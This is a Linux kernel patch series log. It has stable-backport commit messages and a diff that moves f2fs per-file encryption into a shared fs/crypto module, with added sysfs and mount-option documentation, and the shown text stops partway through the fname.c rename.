Steven Rostedt Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit f2c020a46d007adcfcff2b94641022ac03dd43b0 Author: Steven Rostedt (Red Hat) Date: Tue Jul 15 11:05:12 2014 -0400 tracing: Fix graph tracer with stack tracer on other archs commit 5f8bf2d263a20b986225ae1ed7d6759dc4b93af9 upstream. Running my ftrace tests on PowerPC, it failed the test that checks if function_graph tracer is affected by the stack tracer. It was. Looking into this, I found that the update_function_graph_func() must be called even if the trampoline function is not changed. This is because archs like PowerPC do not support ftrace_ops being passed by assembly and instead uses a helper function (what the trampoline function points to). Since this function is not changed even when multiple ftrace_ops are added to the code, the test that falls out before calling update_function_graph_func() will miss that the update must still be done. Call update_function_graph_function() for all calls to update_ftrace_function() Signed-off-by: Steven Rostedt Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 2b93452b9daec9bc8d4ad030730cd36d97634028 Author: Loic Poulain Date: Mon Jun 23 17:42:44 2014 +0200 Bluetooth: Ignore H5 non-link packets in non-active state commit 48439d501e3d9e8634bdc0c418e066870039599d upstream. When detecting a non-link packet, h5_reset_rx() frees the Rx skb. Not returning after that will cause the upcoming h5_rx_payload() call to dereference a now NULL Rx skb and trigger a kernel oops. Signed-off-by: Loic Poulain Signed-off-by: Marcel Holtmann Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit b61574614a101df5567dc6f4d0bc5dac87c2e05f Author: K. Y. Srinivasan Date: Mon Jul 7 16:34:25 2014 -0700 Drivers: hv: util: Fix a bug in the KVP code commit 9bd2d0dfe4714dd5d7c09a93a5c9ea9e14ceb3fc upstream. Add code to poll the channel since we process only one message at a time and the host may not interrupt us. Also increase the receive buffer size since some KVP messages are close to 8K bytes in size. Signed-off-by: K. Y. Srinivasan Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 2149afd246c71151ae55bb028ffc8f41081797e3 Author: Hans de Goede Date: Wed Jul 9 06:20:44 2014 -0300 media: gspca_pac7302: Add new usb-id for Genius i-Look 317 commit 242841d3d71191348f98310e2d2001e1001d8630 upstream. Tested-and-reported-by: yullaw Signed-off-by: Hans de Goede Signed-off-by: Mauro Carvalho Chehab Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit c8c03d31cda3a39d81eef22f906f31b61c3496d7 Author: Gavin Guo Date: Fri Jul 18 01:12:13 2014 +0800 usb: Check if port status is equal to RxDetect commit bb86cf569bbd7ad4dce581a37c7fbd748057e9dc upstream. When using USB 3.0 pen drive with the [AMD] FCH USB XHCI Controller [1022:7814], the second hotplugging will experience the USB 3.0 pen drive is recognized as high-speed device. After bisecting the kernel, I found the commit number 41e7e056cdc662f704fa9262e5c6e213b4ab45dd (USB: Allow USB 3.0 ports to be disabled.) causes the bug. After doing some experiments, the bug can be fixed by avoiding executing the function hub_usb3_port_disable(). Because the port status with [AMD] FCH USB XHCI Controlleris [1022:7814] is already in RxDetect (I tried printing out the port status before setting to Disabled state), it's reasonable to check the port status before really executing hub_usb3_port_disable(). Fixes: 41e7e056cdc6 (USB: Allow USB 3.0 ports to be disabled.) Signed-off-by: Gavin Guo Acked-by: Alan Stern Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi --- Documentation/ABI/testing/sysfs-fs-f2fs | 114 ++ Documentation/filesystems/f2fs.txt | 49 +- fs/Kconfig | 2 + fs/Makefile | 1 + fs/crypto/Kconfig | 18 + fs/crypto/Makefile | 3 + fs/crypto/crypto.c | 567 ++++++++ fs/{f2fs/crypto_fname.c => crypto/fname.c} | 290 ++--- fs/crypto/keyinfo.c | 329 +++++ fs/crypto/policy.c | 246 ++++ fs/f2fs/Kconfig | 24 +- fs/f2fs/Makefile | 2 - fs/f2fs/acl.c | 33 +- fs/f2fs/acl.h | 1 - fs/f2fs/checkpoint.c | 545 +++++--- fs/f2fs/crypto.c | 491 ------- fs/f2fs/crypto_key.c | 254 ---- fs/f2fs/crypto_policy.c | 209 --- fs/f2fs/data.c | 1267 +++++++++++------- fs/f2fs/debug.c | 87 +- fs/f2fs/dir.c | 472 +++---- fs/f2fs/extent_cache.c | 315 ++--- fs/f2fs/f2fs.h | 1149 ++++++++++------ fs/f2fs/f2fs_crypto.h | 151 --- fs/f2fs/file.c | 1374 +++++++++++++++----- fs/f2fs/gc.c | 378 ++++-- fs/f2fs/gc.h | 8 - fs/f2fs/inline.c | 278 ++-- fs/f2fs/inode.c | 199 +-- fs/f2fs/namei.c | 343 +++-- fs/f2fs/node.c | 941 +++++++++----- fs/f2fs/node.h | 134 +- fs/f2fs/recovery.c | 256 ++-- fs/f2fs/segment.c | 894 ++++++++----- fs/f2fs/segment.h | 65 +- fs/f2fs/shrinker.c | 14 +- fs/f2fs/super.c | 1038 ++++++++++++--- fs/f2fs/trace.c | 6 +- fs/f2fs/xattr.c | 81 +- fs/f2fs/xattr.h | 3 +- fs/posix_acl.c | 31 + fs/super.c | 6 +- include/linux/dcache.h | 2 + include/linux/f2fs_fs.h | 50 +- include/linux/fs.h | 10 + include/linux/fscrypto.h | 435 +++++++ include/linux/posix_acl.h | 1 + include/trace/events/f2fs.h | 85 +- include/uapi/linux/fs.h | 18 + scripts/tags.sh | 239 ++-- 50 files changed, 8743 insertions(+), 4765 deletions(-) create mode 100644 Documentation/ABI/testing/sysfs-fs-f2fs create mode 100644 fs/crypto/Kconfig create mode 100644 fs/crypto/Makefile create mode 100644 fs/crypto/crypto.c rename fs/{f2fs/crypto_fname.c => crypto/fname.c} (53%) create mode 100644 fs/crypto/keyinfo.c create mode 100644 fs/crypto/policy.c delete mode 100644 fs/f2fs/crypto.c delete mode 100644 fs/f2fs/crypto_key.c delete mode 100644 fs/f2fs/crypto_policy.c delete mode 100644 fs/f2fs/f2fs_crypto.h create mode 100644 include/linux/fscrypto.h diff --git a/Documentation/ABI/testing/sysfs-fs-f2fs b/Documentation/ABI/testing/sysfs-fs-f2fs new file mode 100644 index 0000000000000..a809f6005f146 --- /dev/null +++ b/Documentation/ABI/testing/sysfs-fs-f2fs @@ -0,0 +1,114 @@ +What: /sys/fs/f2fs//gc_max_sleep_time +Date: July 2013 +Contact: "Namjae Jeon" +Description: + Controls the maximun sleep time for gc_thread. Time + is in milliseconds. + +What: /sys/fs/f2fs//gc_min_sleep_time +Date: July 2013 +Contact: "Namjae Jeon" +Description: + Controls the minimum sleep time for gc_thread. Time + is in milliseconds. + +What: /sys/fs/f2fs//gc_no_gc_sleep_time +Date: July 2013 +Contact: "Namjae Jeon" +Description: + Controls the default sleep time for gc_thread. Time + is in milliseconds. + +What: /sys/fs/f2fs//gc_idle +Date: July 2013 +Contact: "Namjae Jeon" +Description: + Controls the victim selection policy for garbage collection. + +What: /sys/fs/f2fs//reclaim_segments +Date: October 2013 +Contact: "Jaegeuk Kim" +Description: + Controls the issue rate of segment discard commands. + +What: /sys/fs/f2fs//ipu_policy +Date: November 2013 +Contact: "Jaegeuk Kim" +Description: + Controls the in-place-update policy. + +What: /sys/fs/f2fs//min_ipu_util +Date: November 2013 +Contact: "Jaegeuk Kim" +Description: + Controls the FS utilization condition for the in-place-update + policies. + +What: /sys/fs/f2fs//min_fsync_blocks +Date: September 2014 +Contact: "Jaegeuk Kim" +Description: + Controls the dirty page count condition for the in-place-update + policies. + +What: /sys/fs/f2fs//max_small_discards +Date: November 2013 +Contact: "Jaegeuk Kim" +Description: + Controls the issue rate of small discard commands. + +What: /sys/fs/f2fs//max_victim_search +Date: January 2014 +Contact: "Jaegeuk Kim" +Description: + Controls the number of trials to find a victim segment. + +What: /sys/fs/f2fs//dir_level +Date: March 2014 +Contact: "Jaegeuk Kim" +Description: + Controls the directory level for large directory. + +What: /sys/fs/f2fs//ram_thresh +Date: March 2014 +Contact: "Jaegeuk Kim" +Description: + Controls the memory footprint used by f2fs. + +What: /sys/fs/f2fs//trim_sections +Date: February 2015 +Contact: "Jaegeuk Kim" +Description: + Controls the trimming rate in batch mode. + +What: /sys/fs/f2fs//cp_interval +Date: October 2015 +Contact: "Jaegeuk Kim" +Description: + Controls the checkpoint timing. + +What: /sys/fs/f2fs//idle_interval +Date: January 2016 +Contact: "Jaegeuk Kim" +Description: + Controls the idle timing. + +What: /sys/fs/f2fs//ra_nid_pages +Date: October 2015 +Contact: "Chao Yu" +Description: + Controls the count of nid pages to be readaheaded. + +What: /sys/fs/f2fs//dirty_nats_ratio +Date: January 2016 +Contact: "Chao Yu" +Description: + Controls dirty nat entries ratio threshold, if current + ratio exceeds configured threshold, checkpoint will + be triggered for flushing dirty nat entries. + +What: /sys/fs/f2fs//lifetime_write_kbytes +Date: January 2016 +Contact: "Shuoran Liu" +Description: + Shows total written kbytes issued to disk. diff --git a/Documentation/filesystems/f2fs.txt b/Documentation/filesystems/f2fs.txt index bd3c56c67380b..de9d4edb46c4e 100644 --- a/Documentation/filesystems/f2fs.txt +++ b/Documentation/filesystems/f2fs.txt @@ -98,10 +98,20 @@ Cleaning Overhead MOUNT OPTIONS ================================================================================ -background_gc_off Turn off cleaning operations, namely garbage collection, - triggered in background when I/O subsystem is idle. +background_gc=%s Turn on/off cleaning operations, namely garbage + collection, triggered in background when I/O subsystem is + idle. If background_gc=on, it will turn on the garbage + collection and if background_gc=off, garbage collection + will be turned off. If background_gc=sync, it will turn + on synchronous garbage collection running in background. + Default value for this option is on. So garbage + collection is on by default. disable_roll_forward Disable the roll-forward recovery routine -discard Issue discard/TRIM commands when a segment is cleaned. +norecovery Disable the roll-forward recovery routine, mounted read- + only (i.e., -o ro,disable_roll_forward) +discard/nodiscard Enable/disable real-time discard in f2fs, if discard is + enabled, f2fs will issue discard/TRIM commands when a + segment is cleaned. no_heap Disable heap-style segment allocation which finds free segments for data from the beginning of main area, while for node from the end of main area. @@ -114,6 +124,39 @@ active_logs=%u Support configuring the number of active logs. In the Default number is 6. disable_ext_identify Disable the extension list configured by mkfs, so f2fs does not aware of cold files such as media files. +inline_xattr Enable the inline xattrs feature. +inline_data Enable the inline data feature: New created small(<~3.4k) + files can be written into inode block. +inline_dentry Enable the inline dir feature: data in new created + directory entries can be written into inode block. The + space of inode block which is used to store inline + dentries is limited to ~3.4k. +noinline_dentry Diable the inline dentry feature. +flush_merge Merge concurrent cache_flush commands as much as possible + to eliminate redundant command issues. If the underlying + device handles the cache_flush command relatively slowly, + recommend to enable this option. +nobarrier This option can be used if underlying storage guarantees + its cached data should be written to the novolatile area. + If this option is set, no cache_flush commands are issued + but f2fs still guarantees the write ordering of all the + data writes. +fastboot This option is used when a system wants to reduce mount + time as much as possible, even though normal performance + can be sacrificed. +extent_cache Enable an extent cache based on rb-tree, it can cache + as many as extent which map between contiguous logical + address and physical address per inode, resulting in + increasing the cache hit ratio. Set by default. +noextent_cache Disable an extent cache based on rb-tree explicitly, see + the above extent_cache mount option. +noinline_data Disable the inline data feature, inline data feature is + enabled by default. +data_flush Enable data flushing before checkpoint in order to + persist data of regular and symlink. +mode=%s Control block allocation mode which supports "adaptive" + and "lfs". In "lfs" mode, there should be no random + writes towards main area. ================================================================================ DEBUGFS ENTRIES diff --git a/fs/Kconfig b/fs/Kconfig index dc3ec4cb406ee..a88962d9496c0 100644 --- a/fs/Kconfig +++ b/fs/Kconfig @@ -61,6 +61,8 @@ config FILE_LOCKING for filesystems like NFS and for the flock() system call. Disabling this option saves about 11k. +source "fs/crypto/Kconfig" + source "fs/notify/Kconfig" source "fs/quota/Kconfig" diff --git a/fs/Makefile b/fs/Makefile index adb8947b94af0..2b459a5173502 100644 --- a/fs/Makefile +++ b/fs/Makefile @@ -29,6 +29,7 @@ obj-$(CONFIG_SIGNALFD) += signalfd.o obj-$(CONFIG_TIMERFD) += timerfd.o obj-$(CONFIG_EVENTFD) += eventfd.o obj-$(CONFIG_AIO) += aio.o +obj-$(CONFIG_FS_ENCRYPTION) += crypto/ obj-$(CONFIG_FILE_LOCKING) += locks.o obj-$(CONFIG_COMPAT) += compat.o compat_ioctl.o obj-$(CONFIG_BINFMT_AOUT) += binfmt_aout.o diff --git a/fs/crypto/Kconfig b/fs/crypto/Kconfig new file mode 100644 index 0000000000000..92348faf9865a --- /dev/null +++ b/fs/crypto/Kconfig @@ -0,0 +1,18 @@ +config FS_ENCRYPTION + tristate "FS Encryption (Per-file encryption)" + depends on BLOCK + select CRYPTO + select CRYPTO_AES + select CRYPTO_CBC + select CRYPTO_ECB + select CRYPTO_XTS + select CRYPTO_CTS + select CRYPTO_CTR + select CRYPTO_SHA256 + select KEYS + select ENCRYPTED_KEYS + help + Enable encryption of files and directories. This + feature is similar to ecryptfs, but it is more memory + efficient since it avoids caching the encrypted and + decrypted pages in the page cache. diff --git a/fs/crypto/Makefile b/fs/crypto/Makefile new file mode 100644 index 0000000000000..f17684c48739c --- /dev/null +++ b/fs/crypto/Makefile @@ -0,0 +1,3 @@ +obj-$(CONFIG_FS_ENCRYPTION) += fscrypto.o + +fscrypto-y := crypto.o fname.o policy.o keyinfo.o diff --git a/fs/crypto/crypto.c b/fs/crypto/crypto.c new file mode 100644 index 0000000000000..f5bc754eac1d1 --- /dev/null +++ b/fs/crypto/crypto.c @@ -0,0 +1,567 @@ +/* + * This contains encryption functions for per-file encryption. + * + * Copyright (C) 2015, Google, Inc. + * Copyright (C) 2015, Motorola Mobility + * + * Written by Michael Halcrow, 2014. + * + * Filename encryption additions + * Uday Savagaonkar, 2014 + * Encryption policy handling additions + * Ildar Muslukhov, 2014 + * Add fscrypt_pullback_bio_page() + * Jaegeuk Kim, 2015. + * + * This has not yet undergone a rigorous security audit. + * + * The usage of AES-XTS should conform to recommendations in NIST + * Special Publication 800-38E and IEEE P1619/D16. + */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +static unsigned int num_prealloc_crypto_pages = 32; +static unsigned int num_prealloc_crypto_ctxs = 128; + +module_param(num_prealloc_crypto_pages, uint, 0444); +MODULE_PARM_DESC(num_prealloc_crypto_pages, + "Number of crypto pages to preallocate"); +module_param(num_prealloc_crypto_ctxs, uint, 0444); +MODULE_PARM_DESC(num_prealloc_crypto_ctxs, + "Number of crypto contexts to preallocate"); + +static mempool_t *fscrypt_bounce_page_pool = NULL; + +static LIST_HEAD(fscrypt_free_ctxs); +static DEFINE_SPINLOCK(fscrypt_ctx_lock); + +static struct workqueue_struct *fscrypt_read_workqueue; +static DEFINE_MUTEX(fscrypt_init_mutex); + +static struct kmem_cache *fscrypt_ctx_cachep; +struct kmem_cache *fscrypt_info_cachep; + +/** + * fscrypt_release_ctx() - Releases an encryption context + * @ctx: The encryption context to release. + * + * If the encryption context was allocated from the pre-allocated pool, returns + * it to that pool. Else, frees it. + * + * If there's a bounce page in the context, this frees that. + */ +void fscrypt_release_ctx(struct fscrypt_ctx *ctx) +{ + unsigned long flags; + + if (ctx->flags & FS_WRITE_PATH_FL && ctx->w.bounce_page) { + mempool_free(ctx->w.bounce_page, fscrypt_bounce_page_pool); + ctx->w.bounce_page = NULL; + } + ctx->w.control_page = NULL; + if (ctx->flags & FS_CTX_REQUIRES_FREE_ENCRYPT_FL) { + kmem_cache_free(fscrypt_ctx_cachep, ctx); + } else { + spin_lock_irqsave(&fscrypt_ctx_lock, flags); + list_add(&ctx->free_list, &fscrypt_free_ctxs); + spin_unlock_irqrestore(&fscrypt_ctx_lock, flags); + } +} +EXPORT_SYMBOL(fscrypt_release_ctx); + +/** + * fscrypt_get_ctx() - Gets an encryption context + * @inode: The inode for which we are doing the crypto + * @gfp_flags: The gfp flag for memory allocation + * + * Allocates and initializes an encryption context. + * + * Return: An allocated and initialized encryption context on success; error + * value or NULL otherwise. + */ +struct fscrypt_ctx *fscrypt_get_ctx(struct inode *inode, gfp_t gfp_flags) +{ + struct fscrypt_ctx *ctx = NULL; + struct fscrypt_info *ci = inode->i_crypt_info; + unsigned long flags; + + if (ci == NULL) + return ERR_PTR(-ENOKEY); + + /* + * We first try getting the ctx from a free list because in + * the common case the ctx will have an allocated and + * initialized crypto tfm, so it's probably a worthwhile + * optimization. For the bounce page, we first try getting it + * from the kernel allocator because that's just about as fast + * as getting it from a list and because a cache of free pages + * should generally be a "last resort" option for a filesystem + * to be able to do its job. + */ + spin_lock_irqsave(&fscrypt_ctx_lock, flags); + ctx = list_first_entry_or_null(&fscrypt_free_ctxs, + struct fscrypt_ctx, free_list); + if (ctx) + list_del(&ctx->free_list); + spin_unlock_irqrestore(&fscrypt_ctx_lock, flags); + if (!ctx) { + ctx = kmem_cache_zalloc(fscrypt_ctx_cachep, gfp_flags); + if (!ctx) + return ERR_PTR(-ENOMEM); + ctx->flags |= FS_CTX_REQUIRES_FREE_ENCRYPT_FL; + } else { + ctx->flags &= ~FS_CTX_REQUIRES_FREE_ENCRYPT_FL; + } + ctx->flags &= ~FS_WRITE_PATH_FL; + return ctx; +} +EXPORT_SYMBOL(fscrypt_get_ctx); + +/** + * page_crypt_complete() - completion callback for page crypto + * @req: The asynchronous cipher request context + * @res: The result of the cipher operation + */ +static void page_crypt_complete(struct crypto_async_request *req, int res) +{ + struct fscrypt_completion_result *ecr = req->data; + + if (res == -EINPROGRESS) + return; + ecr->res = res; + complete(&ecr->completion); +} + +typedef enum { + FS_DECRYPT = 0, + FS_ENCRYPT, +} fscrypt_direction_t; + +static int do_page_crypto(struct inode *inode, + fscrypt_direction_t rw, pgoff_t index, + struct page *src_page, struct page *dest_page, + gfp_t gfp_flags) +{ + u8 xts_tweak[FS_XTS_TWEAK_SIZE]; + struct ablkcipher_request *req = NULL; + DECLARE_FS_COMPLETION_RESULT(ecr); + struct scatterlist dst, src; + struct fscrypt_info *ci = inode->i_crypt_info; + struct crypto_ablkcipher *tfm = ci->ci_ctfm; + int res = 0; + + req = ablkcipher_request_alloc(tfm, gfp_flags); + if (!req) { + printk_ratelimited(KERN_ERR + "%s: crypto_request_alloc() failed\n", + __func__); + return -ENOMEM; + } + + ablkcipher_request_set_callback( + req, CRYPTO_TFM_REQ_MAY_BACKLOG | CRYPTO_TFM_REQ_MAY_SLEEP, + page_crypt_complete, &ecr); + + BUILD_BUG_ON(FS_XTS_TWEAK_SIZE < sizeof(index)); + memcpy(xts_tweak, &index, sizeof(index)); + memset(&xts_tweak[sizeof(index)], 0, + FS_XTS_TWEAK_SIZE - sizeof(index)); + + sg_init_table(&dst, 1); + sg_set_page(&dst, dest_page, PAGE_SIZE, 0); + sg_init_table(&src, 1); + sg_set_page(&src, src_page, PAGE_SIZE, 0); + ablkcipher_request_set_crypt(req, &src, &dst, PAGE_SIZE, + xts_tweak); + if (rw == FS_DECRYPT) + res = crypto_ablkcipher_decrypt(req); + else + res = crypto_ablkcipher_encrypt(req); + if (res == -EINPROGRESS || res == -EBUSY) { + BUG_ON(req->base.data != &ecr); + wait_for_completion(&ecr.completion); + res = ecr.res; + } + ablkcipher_request_free(req); + if (res) { + printk_ratelimited(KERN_ERR + "%s: crypto_ablkcipher_encrypt() returned %d\n", + __func__, res); + return res; + } + return 0; +} + +static struct page *alloc_bounce_page(struct fscrypt_ctx *ctx, gfp_t gfp_flags) +{ + ctx->w.bounce_page = mempool_alloc(fscrypt_bounce_page_pool, gfp_flags); + if (ctx->w.bounce_page == NULL) + return ERR_PTR(-ENOMEM); + ctx->flags |= FS_WRITE_PATH_FL; + return ctx->w.bounce_page; +} + +/** + * fscypt_encrypt_page() - Encrypts a page + * @inode: The inode for which the encryption should take place + * @plaintext_page: The page to encrypt. Must be locked. + * @gfp_flags: The gfp flag for memory allocation + * + * Allocates a ciphertext page and encrypts plaintext_page into it using the ctx + * encryption context. + * + * Called on the page write path. The caller must call + * fscrypt_restore_control_page() on the returned ciphertext page to + * release the bounce buffer and the encryption context. + * + * Return: An allocated page with the encrypted content on success. Else, an + * error value or NULL. + */ +struct page *fscrypt_encrypt_page(struct inode *inode, + struct page *plaintext_page, gfp_t gfp_flags) +{ + struct fscrypt_ctx *ctx; + struct page *ciphertext_page = NULL; + int err; + + BUG_ON(!PageLocked(plaintext_page)); + + ctx = fscrypt_get_ctx(inode, gfp_flags); + if (IS_ERR(ctx)) + return (struct page *)ctx; + + /* The encryption operation will require a bounce page. */ + ciphertext_page = alloc_bounce_page(ctx, gfp_flags); + if (IS_ERR(ciphertext_page)) + goto errout; + + ctx->w.control_page = plaintext_page; + err = do_page_crypto(inode, FS_ENCRYPT, plaintext_page->index, + plaintext_page, ciphertext_page, + gfp_flags); + if (err) { + ciphertext_page = ERR_PTR(err); + goto errout; + } + SetPagePrivate(ciphertext_page); + set_page_private(ciphertext_page, (unsigned long)ctx); + lock_page(ciphertext_page); + return ciphertext_page; + +errout: + fscrypt_release_ctx(ctx); + return ciphertext_page; +} +EXPORT_SYMBOL(fscrypt_encrypt_page); + +/** + * f2crypt_decrypt_page() - Decrypts a page in-place + * @page: The page to decrypt. Must be locked. + * + * Decrypts page in-place using the ctx encryption context. + * + * Called from the read completion callback. + * + * Return: Zero on success, non-zero otherwise. + */ +int fscrypt_decrypt_page(struct page *page) +{ + BUG_ON(!PageLocked(page)); + + return do_page_crypto(page->mapping->host, + FS_DECRYPT, page->index, page, page, GFP_NOFS); +} +EXPORT_SYMBOL(fscrypt_decrypt_page); + +int fscrypt_zeroout_range(struct inode *inode, pgoff_t lblk, + sector_t pblk, unsigned int len) +{ + struct fscrypt_ctx *ctx; + struct page *ciphertext_page = NULL; + struct bio *bio; + int ret, err = 0; + + BUG_ON(inode->i_sb->s_blocksize != PAGE_SIZE); + + ctx = fscrypt_get_ctx(inode, GFP_NOFS); + if (IS_ERR(ctx)) + return PTR_ERR(ctx); + + ciphertext_page = alloc_bounce_page(ctx, GFP_NOWAIT); + if (IS_ERR(ciphertext_page)) { + err = PTR_ERR(ciphertext_page); + goto errout; + } + + while (len--) { + err = do_page_crypto(inode, FS_ENCRYPT, lblk, + ZERO_PAGE(0), ciphertext_page, + GFP_NOFS); + if (err) + goto errout; + + bio = bio_alloc(GFP_NOWAIT, 1); + if (!bio) { + err = -ENOMEM; + goto errout; + } + bio->bi_bdev = inode->i_sb->s_bdev; + bio->bi_sector = + pblk << (inode->i_sb->s_blocksize_bits - 9); + ret = bio_add_page(bio, ciphertext_page, + inode->i_sb->s_blocksize, 0); + if (ret != inode->i_sb->s_blocksize) { + /* should never happen! */ + WARN_ON(1); + bio_put(bio); + err = -EIO; + goto errout; + } + err = submit_bio_wait(WRITE, bio); + bio_put(bio); + if (err) + goto errout; + lblk++; + pblk++; + } + err = 0; +errout: + fscrypt_release_ctx(ctx); + return err; +} +EXPORT_SYMBOL(fscrypt_zeroout_range); + +/* + * Validate dentries for encrypted directories to make sure we aren't + * potentially caching stale data after a key has been added or + * removed. + */ +static int fscrypt_d_revalidate(struct dentry *dentry, unsigned int flags) +{ + struct dentry *dir; + struct fscrypt_info *ci; + int dir_has_key, cached_with_key; + + if (flags & LOOKUP_RCU) + return -ECHILD; + + dir = dget_parent(dentry); + if (!dir->d_inode->i_sb->s_cop->is_encrypted(dir->d_inode)) { + dput(dir); + return 0; + } + + ci = dir->d_inode->i_crypt_info; + if (ci && ci->ci_keyring_key && + (ci->ci_keyring_key->flags & ((1 << KEY_FLAG_INVALIDATED) | + (1 << KEY_FLAG_REVOKED) | + (1 << KEY_FLAG_DEAD)))) + ci = NULL; + + /* this should eventually be an flag in d_flags */ + spin_lock(&dentry->d_lock); + cached_with_key = dentry->d_flags & DCACHE_ENCRYPTED_WITH_KEY; + spin_unlock(&dentry->d_lock); + dir_has_key = (ci != NULL); + dput(dir); + + /* + * If the dentry was cached without the key, and it is a + * negative dentry, it might be a valid name. We can't check + * if the key has since been made available due to locking + * reasons, so we fail the validation so ext4_lookup() can do + * this check. + * + * We also fail the validation if the dentry was created with + * the key present, but we no longer have the key, or vice versa. + */ + if (!cached_with_key || + (!cached_with_key && dir_has_key) || + (cached_with_key && !dir_has_key)) + return 0; + return 1; +} + +const struct dentry_operations fscrypt_d_ops = { + .d_revalidate = fscrypt_d_revalidate, +}; +EXPORT_SYMBOL(fscrypt_d_ops); + +/* + * Call fscrypt_decrypt_page on every single page, reusing the encryption + * context. + */ +static void completion_pages(struct work_struct *work) +{ + struct fscrypt_ctx *ctx = + container_of(work, struct fscrypt_ctx, r.work); + struct bio *bio = ctx->r.bio; + struct bio_vec *bv; + int i; + + bio_for_each_segment_all(bv, bio, i) { + struct page *page = bv->bv_page; + int ret = fscrypt_decrypt_page(page); + + if (ret) { + WARN_ON_ONCE(1); + SetPageError(page); + } else { + SetPageUptodate(page); + } + unlock_page(page); + } + fscrypt_release_ctx(ctx); + bio_put(bio); +} + +void fscrypt_decrypt_bio_pages(struct fscrypt_ctx *ctx, struct bio *bio) +{ + INIT_WORK(&ctx->r.work, completion_pages); + ctx->r.bio = bio; + queue_work(fscrypt_read_workqueue, &ctx->r.work); +} +EXPORT_SYMBOL(fscrypt_decrypt_bio_pages); + +void fscrypt_pullback_bio_page(struct page **page, bool restore) +{ + struct fscrypt_ctx *ctx; + struct page *bounce_page; + + /* The bounce data pages are unmapped. */ + if ((*page)->mapping) + return; + + /* The bounce data page is unmapped. */ + bounce_page = *page; + ctx = (struct fscrypt_ctx *)page_private(bounce_page); + + /* restore control page */ + *page = ctx->w.control_page; + + if (restore) + fscrypt_restore_control_page(bounce_page); +} +EXPORT_SYMBOL(fscrypt_pullback_bio_page); + +void fscrypt_restore_control_page(struct page *page) +{ + struct fscrypt_ctx *ctx; + + ctx = (struct fscrypt_ctx *)page_private(page); + set_page_private(page, (unsigned long)NULL); + ClearPagePrivate(page); + unlock_page(page); + fscrypt_release_ctx(ctx); +} +EXPORT_SYMBOL(fscrypt_restore_control_page); + +static void fscrypt_destroy(void) +{ + struct fscrypt_ctx *pos, *n; + + list_for_each_entry_safe(pos, n, &fscrypt_free_ctxs, free_list) + kmem_cache_free(fscrypt_ctx_cachep, pos); + INIT_LIST_HEAD(&fscrypt_free_ctxs); + mempool_destroy(fscrypt_bounce_page_pool); + fscrypt_bounce_page_pool = NULL; +} + +/** + * fscrypt_initialize() - allocate major buffers for fs encryption. + * + * We only call this when we start accessing encrypted files, since it + * results in memory getting allocated that wouldn't otherwise be used. + * + * Return: Zero on success, non-zero otherwise. + */ +int fscrypt_initialize(void) +{ + int i, res = -ENOMEM; + + if (fscrypt_bounce_page_pool) + return 0; + + mutex_lock(&fscrypt_init_mutex); + if (fscrypt_bounce_page_pool) + goto already_initialized; + + for (i = 0; i < num_prealloc_crypto_ctxs; i++) { + struct fscrypt_ctx *ctx; + + ctx = kmem_cache_zalloc(fscrypt_ctx_cachep, GFP_NOFS); + if (!ctx) + goto fail; + list_add(&ctx->free_list, &fscrypt_free_ctxs); + } + + fscrypt_bounce_page_pool = + mempool_create_page_pool(num_prealloc_crypto_pages, 0); + if (!fscrypt_bounce_page_pool) + goto fail; + +already_initialized: + mutex_unlock(&fscrypt_init_mutex); + return 0; +fail: + fscrypt_destroy(); + mutex_unlock(&fscrypt_init_mutex); + return res; +} +EXPORT_SYMBOL(fscrypt_initialize); + +/** + * fscrypt_init() - Set up for fs encryption. + */ +static int __init fscrypt_init(void) +{ + fscrypt_read_workqueue = alloc_workqueue("fscrypt_read_queue", + WQ_HIGHPRI, 0); + if (!fscrypt_read_workqueue) + goto fail; + + fscrypt_ctx_cachep = KMEM_CACHE(fscrypt_ctx, SLAB_RECLAIM_ACCOUNT); + if (!fscrypt_ctx_cachep) + goto fail_free_queue; + + fscrypt_info_cachep = KMEM_CACHE(fscrypt_info, SLAB_RECLAIM_ACCOUNT); + if (!fscrypt_info_cachep) + goto fail_free_ctx; + + return 0; + +fail_free_ctx: + kmem_cache_destroy(fscrypt_ctx_cachep); +fail_free_queue: + destroy_workqueue(fscrypt_read_workqueue); +fail: + return -ENOMEM; +} +module_init(fscrypt_init) + +/** + * fscrypt_exit() - Shutdown the fs encryption system + */ +static void __exit fscrypt_exit(void) +{ + fscrypt_destroy(); + + if (fscrypt_read_workqueue) + destroy_workqueue(fscrypt_read_workqueue); + kmem_cache_destroy(fscrypt_ctx_cachep); + kmem_cache_destroy(fscrypt_info_cachep); +} +module_exit(fscrypt_exit); + +MODULE_LICENSE("GPL"); diff --git a/fs/f2fs/crypto_fname.c b/fs/crypto/fname.c similarity index 53% rename from fs/f2fs/crypto_fname.c rename to fs/crypto/fname.c index ab377d496a39a..e7035c6088af7 100644 --- a/fs/f2fs/crypto_fname.c +++ b/fs/crypto/fname.c @@ -1,46 +1,32 @@ /* - * linux/fs/f2fs/crypto_fname.c - * - * Copied from linux/fs/ext4/crypto.c + * This contains functions for filename crypto management * * Copyright (C) 2015, Google, Inc. * Copyright (C) 2015, Motorola Mobility * - * This contains functions for filename crypto management in f2fs - * * Written by Uday Savagaonkar, 2014. - * - * Adjust f2fs dentry structure - * Jaegeuk Kim, 2015. + * Modified by Jaegeuk Kim, 2015. * * This has not yet undergone a rigorous security audit. */ + #include #include #include #include #include -#include -#include -#include -#include -#include -#include #include -#include -#include #include - -#include "f2fs.h" -#include "f2fs_crypto.h" -#include "xattr.h" +#include /** - * f2fs_dir_crypt_complete() - + * fname_crypt_complete() - completion callback for filename crypto + * @req: The asynchronous cipher request context + * @res: The result of the cipher operation */ -static void f2fs_dir_crypt_complete(struct crypto_async_request *req, int res) +static void fname_crypt_complete(struct crypto_async_request *req, int res) { - struct f2fs_completion_result *ecr = req->data; + struct fscrypt_completion_result *ecr = req->data; if (res == -EINPROGRESS) return; @@ -48,46 +34,35 @@ static void f2fs_dir_crypt_complete(struct crypto_async_request *req, int res) complete(&ecr->completion); } -bool f2fs_valid_filenames_enc_mode(uint32_t mode) -{ - return (mode == F2FS_ENCRYPTION_MODE_AES_256_CTS); -} - -static unsigned max_name_len(struct inode *inode) -{ - return S_ISLNK(inode->i_mode) ? 